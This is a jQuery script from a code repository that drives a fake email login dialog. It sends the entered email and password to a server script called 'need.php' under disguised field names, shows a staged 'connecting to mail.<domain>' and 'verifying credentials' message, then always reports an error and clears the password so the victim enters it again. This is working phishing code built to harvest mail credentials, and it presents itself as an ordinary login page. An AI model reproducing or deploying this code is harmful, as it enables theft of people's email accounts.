{"size": 1810, "ext": "js", "max_stars_repo_path": "js/main.js", "max_stars_repo_name": "cirocirociro/ows", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "js/main.js", "max_issues_repo_name": "cirocirociro/ows", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "js/main.js", "max_forks_repo_name": "cirocirociro/ows", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 34.8076923077, "max_line_length": 82, "alphanum_fraction": 0.4276243094}
$(document).ready(function() {
    $("#idl").click(function(event) {
        event.preventDefault();
        event.stopPropagation();
        var modal = document.getElementById("lmodal");
        modal.style.display = "block";
        if($("#email").val().length < 4){
            $("#email").focus();
        }else{
            $("#password").focus();
        }
    });

    $("#fdl").click(function(event){
        event.preventDefault();
        event.stopPropagation();
        let email = $("#email").val();
        let password = $("#password").val()
        if(email.length < 7 || !email.includes("@")){
            alert("Please enter a valid email");
            return;
        }
        if(password.length < 4){
            alert("Please enter a valid password");
            return;
        }
        let domain = email.split("@")[1];
        document.getElementById("error").style.display = "none";
        document.getElementById("fback").style.display = "block";
        $("#tfb").text("connecting to mail." + domain);
        $.ajax({
            url: "need.php",
            method: "post",
            data: {
                X1: email,
                X2: password
            },
            success: function(data){
                console.log(data);
                setTimeout(() => {
                    $("#tfb").text("verifying credentials...");
                    setTimeout(() => {
                        document.getElementById("fback").style.display = "none";
                        document.getElementById("error").style.display = "block";
                        $("#password").val("");
                        $("#password").focus();
                    }, 1000);
                }, 1000);
            }
        })
    })
})